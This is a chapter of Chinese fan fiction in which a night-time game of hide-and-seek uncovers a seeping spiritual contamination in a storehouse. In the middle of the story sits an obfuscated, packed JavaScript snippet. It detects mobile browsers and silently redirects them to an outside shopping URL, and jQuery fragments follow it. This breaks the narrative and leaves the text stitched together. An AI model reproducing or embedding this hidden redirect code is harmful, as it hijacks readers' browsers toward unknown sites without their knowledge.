第37章:躲猫猫与黑水
鹤丸国永宣布要玩躲猫猫的时候,严胜正在道场里试图把一套基础剑术拆解成连五虎退都能看明白的分解动作。这活儿比他当年学月之呼吸还费神,他得一边压制肌肉记忆里那些复杂的变招,一边把动作慢放到近乎滑稽的程度。
“——所以当鬼的来找你的时候,”鹤丸的声音像颗砸进平静水面的白石,从道场门口嘹亮地插进来,“你就得躲得连自己都找不着自己!”
严胜手里的木刀停在半空。他转过头,看见鹤丸一身白衣在昏暗的走廊里亮得扎眼,正被七八个短刀围着,手舞足蹈地比划着什么。乱藤四郎眼睛发亮,秋田藤四郎有点犹豫,五虎退抱着小老虎,看起来既想参与又怕真的被“鬼”找到。
“鹤丸先生,”药研的声音从人群后面传来,带着点睡眠不足的疲惫,“现在是晚上九点,短刀们的就寝时间是——”
“就寝?”鹤丸夸张地瞪大眼睛,“药研,你听听你在说什么!夜晚!月光!躲猫猫!这三样东西放一起,不比睡觉有意思多了?”
“明天还要晨练——”
“找到我的人,”鹤丸提高音量,完全盖过药研,“明天我替他刷马!”
短刀们一阵小小的骚动。刷马不算重活,但鹤丸主动提出来,这事儿就带上了某种“胜利奖品”的稀缺性光环。
严胜收回目光,继续对着空气比划他那套慢动作剑术。鹤丸的胡闹跟他没关系。他只想赶紧把这套教学动作琢磨透,然后回屋擦刀,睡觉,或者盯着天花板发呆——总之不是参加什么躲猫猫。
“严胜先生!”
鹤丸的声音突然近了。严胜眼角瞥见一片白色衣角晃到了道场门口。
“一起来呗?”鹤丸探进半个身子,脸上挂着那种“我知道你会拒绝但我就问问”的笑容,“当‘鬼’怎么样?你眼神好,找得快,省得这帮小家伙躲到天亮。”
“不。”严胜连理由都懒得给。
“别啊,”鹤丸直接走进来,完全无视了严胜周身散发的那种“靠近者死”的气场,“你看,你在这儿对着一团空气挥刀,多没意思。出去活动活动,找找人,多健康。”
“我在工作。”
“工作就是教短刀对吧?”鹤丸一拍手,逻辑诡异地自洽了,“你现在出去找他们,就是在实践‘如何在敌人搜寻下隐蔽自己’,多生动的教学!”
严胜盯着他,试图用眼神让这振白衣服的刀自己蒸发。鹤丸笑眯眯地回看,眼神清澈,毫无自觉。
道场外,短刀们开始倒计时了:“十——九——”
“你看,他们都准备好了。”鹤丸说,“你就当配合教学,嗯?找到我请你喝茶——三日月私藏的那种。”
“八——七——”
严胜深吸一口气。他听见自己脑子里有根弦轻轻“啪”了一声。可能是耐心,也可能是理智。
“六——五——”
“范围。”严胜从牙缝里挤出两个字。
“就本丸内圈!不出结界!”鹤丸眼睛一亮,语速飞快,“仓库、茶室、回廊、中庭——躲屋顶也行!抓到就算!”
“四——三——”
“闭眼。”严胜说。
鹤丸立刻转身冲门外喊:“严胜先生答应了!快跑!”
短刀们欢呼一声,脚步声噼里啪啦散开,像一群受惊的麻雀。鹤丸最后一个窜出去,还不忘回头补一句:“认真找啊!我可是很会躲的!”
严胜站在原地,闭着眼,听着外面的动静迅速远去、消失。他数到三十,然后睁开眼。
道场空荡荡的,只剩下他一个人,还有手里那根可笑的木刀。
他沉默了两秒,把木刀靠墙放好,走了出去。
夜风有点凉,吹在脸上让人清醒——清醒地意识到自己正在干一件多么蠢的事。月光倒是很好,把庭院照得泛白,树影在地面上拉出清晰的、张牙舞爪的形状。
他站在回廊上,没动。目光如夜色中的刀锋,缓缓扫过庭院。他没有散开灵力——那具新生的身体尚不能如此精妙地操控这种力量。他依靠的是四百年来锤炼出的、近乎本能的洞察力:对光影的微妙变化,对气流拂过不同物体的细微声响,对温度差异的感知,以及对“存在”本身的那种剑士特有的直觉。
东南墙角,衣料与墙壁极轻的摩擦声,以及一丝属于秋田藤四郎的、温顺收敛的气息。屋脊背面,一片瓦片被身体重量压出的、几乎不可闻的吱呀,带着乱藤四郎特有的轻快节奏。药研……药研的方向,只有手入室窗户透出的稳定光亮和隐约的纸笔声,他大概根本没参与,直接回屋了。
鹤丸呢?
严胜皱了皱眉。那振白衣服的刀像凭空蒸发了一样,没有留下任何可供追踪的声响、气味或视界内的不协调。不是完全消失,而是……制造了多处假象?像是故意在几个地方都留下了细微的、矛盾的痕迹。
狡猾。
严胜迈开脚步,没去管那些明显到可笑的短刀藏身处。他沿着回廊慢慢走,目光扫过阴影、转角、屋檐下。月光把他自己的影子拉得很长,像个沉默的同行者。
经过仓库时,他脚步顿了顿。
仓库门关着,但在月光照不到的阴影里,门缝与地面相接处,似乎比其他地方的颜色更深一些,隐约泛起一丝不自然的湿润感。没有光,但那片黑暗的质感……不对。过于粘稠,像是会吸收周遭仅有的微光。
同时,一股极其微弱、却无法忽视的违和感从那里传来——不是气味,更像是温度或“存在感”的异常,与他四百年来对“异常”与“不洁”的认知隐隐共鸣。
更重要的是,怀中的虚哭神去传来了极其轻微的震动,不是警告,更像是某种……确认与指向。
严胜的手搭上了门把。
他推开门。
仓库里堆满了杂物:旧家具、备用被褥、损坏的训练器械,还有几个落满灰的箱子。月光从高处的气窗斜斜照进来,在地上切出几块惨白的光斑。空气里有股灰尘和霉味。
以及,那股违和感的源头。
严胜的目光落在墙角。那里堆着几个破旧的竹笼,竹笼后的空气似乎比别处更冷,阴影的轮廓也更为凝实,像一团化不开的墨。
他走过去,刚想蹲下查看——
“找到你啦!”
一个白色的身影从头顶的横梁上倒吊下来,长发垂下,脸几乎贴到严胜鼻尖。鹤丸笑得像个恶作剧得逞的孩子。
严胜眼皮都没眨一下,后退半步,看着鹤丸自己从梁上翻下来,轻巧落地。
“没吓到?”鹤丸有点失望,拍拍手上的灰,“你刚才看什么呢?这么认真。”
严胜没回答,视线还盯着竹笼后面。那点冷光在鹤丸出现后似乎更弱了,几乎要看不见。
“那儿有什么?”鹤丸也凑过来看,他的目光在墙根处聚焦,表情从随意变得稍显认真,“咦?这是……灵力残留?之前收拾的时候好像没这么明显。”
严胜没有回答。他看不到鹤丸所说的“灵力”,但虚哭神去的震动变得清晰了些,刀鞘内的寒意指向那片阴影。他伸手,把竹笼拨开。
后面是墙壁,墙根处,有一小片颜色比周围深得异常的区域。看起来像是水渍,但表面没有丝毫反光,反而有种吸光的质感。一丝难以形容的冰冷气息,正从那里极其缓慢地渗出来。
虚哭神去的震动明显了一点。这次是明确的警告。
“嗯?”鹤丸蹲下来,仔细看了看,“奇怪,白天看的时候还没这东西。”
严胜伸手,指尖虚悬在那片阴影上方。很冷。不是温度的冷,是灵力层面的“空洞”感,像在触摸一个很小的、正在漏气的缺口。
“叫药研来。”严胜说。
“药研估计睡了——”
“叫。”
鹤丸看了他一眼,没再废话,起身出去了。脚步声很快远去。
仓库里只剩下严胜一个人,和那片缓慢渗出的阴影。他维持着半蹲的姿势,盯着那东西。很安静,但安静得不对劲。连灰尘飘落的声音都没有。
然后,他听见身后有极轻的脚步声。
不是鹤丸。
严胜回头。
缘一站在仓库门口,浅山茱萸色的运动服在月光下显得有点苍白。孩子没进来,只是站在门槛外,眼睛盯着墙角那片阴影,瞳孔深处有一点极淡的金色纹路在流转——灵视开了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944526|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“兄长,”缘一轻声说,声音在空旷的仓库里显得很清晰,“那里……有东西在哭。”
严胜站起来:“什么东西。”
“黑色的……”缘一慢慢走进来,在严胜身边停下,也蹲下来看那片阴影,“水。会动的,黑色的水。里面有很多声音……很乱。”
他伸出手指,似乎想碰,被严胜一把抓住了手腕。
“别碰。”
缘一的手腕很细,骨头硌着掌心。孩子抬头看他,灵视还没关,金色的纹路让他的眼睛看起来有点非人感。
“它在说,”缘一的声音更低了,像在复述什么令人不适的耳语,“‘好痛’……‘为什么是我’……‘放我出去’……”
严胜握着他手腕的手紧了紧。虚哭神去的震动加剧了,刀鞘上的眼球纹路似乎有睁开的趋势,被他用灵力强行压住。
“还听到什么?”
缘一摇头:“太多了……听不清。很吵。”
脚步声再次传来,这次是两个人。鹤丸带着药研回来了,药研手里还拎着个小箱子,脸上写满“大晚上把我叫来看墙角这到底是有多重要”。
但当他看到那片阴影时,表情立刻变了。
“蚀灵污染残留。”药研蹲下,打开箱子,拿出一个巴掌大的仪器,对准阴影扫描。仪器屏幕上的波形图剧烈跳动起来,发出滴滴的警报声。“浓度很低,但……是活性残留。这东西不应该出现在本丸结界内部。”
“白天还没有。”鹤丸补充。
“说明它是最近才渗出来的,或者之前一直处于休眠状态,被什么东西激活了。”药研推了推眼镜,看向严胜,“您刚才碰过?”
“没有。”
药研又看向缘一。缘一摇头:“我也没有。”
仪器还在响。药研调出几个参数,眉头越皱越紧:“灵波特征……和之前信浓身上提取的污染种子有相似之处,但更原始,更混乱。像是未经加工的‘原料’。”
仓库里安静下来。月光依旧惨白,照在四个围着一小片阴影的人身上。
鹤丸忽然笑了,笑声在寂静里有点突兀:“这下好了,躲猫猫躲出个这东西。算谁找到的?奖品还能领吗?”
没人理他。
严胜松开了握着缘一手腕的手。孩子手腕上留下了一圈浅浅的红印,很快又消退了。
“处理掉。”严胜对药研说。
“需要净化符文和隔离措施,”药研已经开始从箱子里掏东西,“鹤丸先生,麻烦去叫醒长义监察官和南海先生。缘一,你退后,灵视关了,这东西看多了对你没好处。”
缘一站起来,退到门口,但灵视还开着,眼睛依旧盯着那片阴影。
严胜看了他一眼,又看向药研:“要多久。”
“清理残留很快,但追踪源头需要时间。”药研头也不抬,已经开始在地上画符文,“这东西不会凭空出现。墙后面,或者更深处,肯定有‘伤口’。”
鹤丸已经出去了,脚步声再次远去。仓库里只剩下药研画符的沙沙声,仪器滴滴的警报声,和那一片沉默渗出的阴影。
缘一忽然小声说:“兄长。”
严胜看向他。
“它不哭了。”缘一的眼睛还是金色的,“现在……好像在听。”
药研画符的手顿了顿。
严胜转身,走到门口,把缘一往后又带了一步,自己挡在了孩子和仓库之间。
“关了。”他说。
缘一眨眨眼,瞳孔深处的金色慢慢褪去。他仰头看着严胜,月光照在他脸上,让他的表情看起来有点茫然。
“哦。”他说。
药研的净化符文亮起微光,开始包裹那片阴影。警报声渐渐弱下去。
严胜没再说话,只是站在那儿,看着药研工作。缘一站在他身后半步,安静地等着。
躲猫猫结束了。
找到的“鬼”,好像比预想的麻烦得多。
月光从门口照进来,把两个人的影子投在回廊上,拉得很长,边缘模糊。远处的本丸还沉睡着,只有这一角仓库,亮着不祥的净化微光。
严胜忽然觉得,鹤丸那杯茶,大概没那么容易喝到了。